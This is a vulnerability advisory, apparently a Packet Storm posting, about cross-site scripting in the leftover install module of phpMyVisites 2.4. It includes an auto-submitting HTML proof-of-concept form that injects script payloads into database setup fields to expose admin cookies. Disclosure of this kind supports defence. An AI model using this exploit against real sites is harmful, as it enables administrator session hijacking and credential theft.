phpMyVisites version 2.4 suffers from multiple cross site scripting vulnerabilities.
213a7f7ab93a2bdf6e34d96925e7f31fa9c25e08e70502e9c597b4a922f108ba============================================================
Vulnerable Software:
phpMyVisites 2.4 (version.php 238 2009-12-16 19:48:15Z matthieu_ $
More info can be found here: http://www.phpmyvisites.us/
============================================================
============================================================
phpMyVisites 2.4 Is vulnerable to Cross Site Scripting attack.
============================================================
Tested on: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
-> ;
+-----------+
| version() |
+-----------+
| 5.5.21 |
+-----------+
*/
============================================================
Vuln Desc:
Problem in that: phpMyVisites 2.4 after installation doesn't requires
uninstalling of setup module.(Only administrator can access this module)
(phpmv2/index.php?mod=install_database_setup)
Which is prone to Cross site Scripting vulnerability due insufficent sanitization:
Note: Attack Scenario:
A) Admin logins to system.(needs authentication)
B) And clicks on crafted link (below you can see it -Proof Of Concept exploit)
Successfully attack exploitation may result of stealing currently logged administrator's cookies which using it attacker
can login system as admin and reinstall application (overwrite installation)),
or steal database credentials(because this script fills inputs automatically from config) which is viewable
(only database password is MD5 encrypted in inputbox and can be viewed from source code of page as MD5 encrypted)
Also I noticed it's cookies doesn't expires after succesfully *logging out*.
So stealed cookies can be used as "backdoor" to access system again.
============================================================
=============== PROOF OF CONCEPT EXPLOIT ==================
<html>
<head>
<title>Warning! This is Proof Of Concept Exploit for phpMyVisites 2.4 (version.php 238 2009-12-16 19:48:15Z matthieu_ $)</title>
</head>
<h1> Warning! This is a Proof Of Concept Exploit for phpMyVisites 2.4:<br/></h1>
<p>// $Id: version.php 238 2009-12-16 19:48:15Z matthieu_ $
PHPMV_VERSION 2.4
</p>
</h1>
<body onload="javascript:document.forms[0].submit()">
<form action="http://CHANGE_TO_RTARGET/phpmv2/index.php?mod=install_database_setup" method="post" name="form_phpmv" id="form_phpmv">
<input value="<script>alert(document.cookie);</script>" name="form_dblogin" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbpassword" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbhost" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbname" type="hidden" />
<input value="<script>alert(document.cookie);</script>" name="form_dbprefix" type="hidden"/></td>
<!--- Author: AkaStep -->
</form>
</body>
</html>
===============EOF PROOF OF CONCEPT EXPLOIT ==================
Print screen:
http://s018.radikal.ru/i505/1203/ba/26343fa7963b.png
================================================================
/AkaStep ^_^
1331239741
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed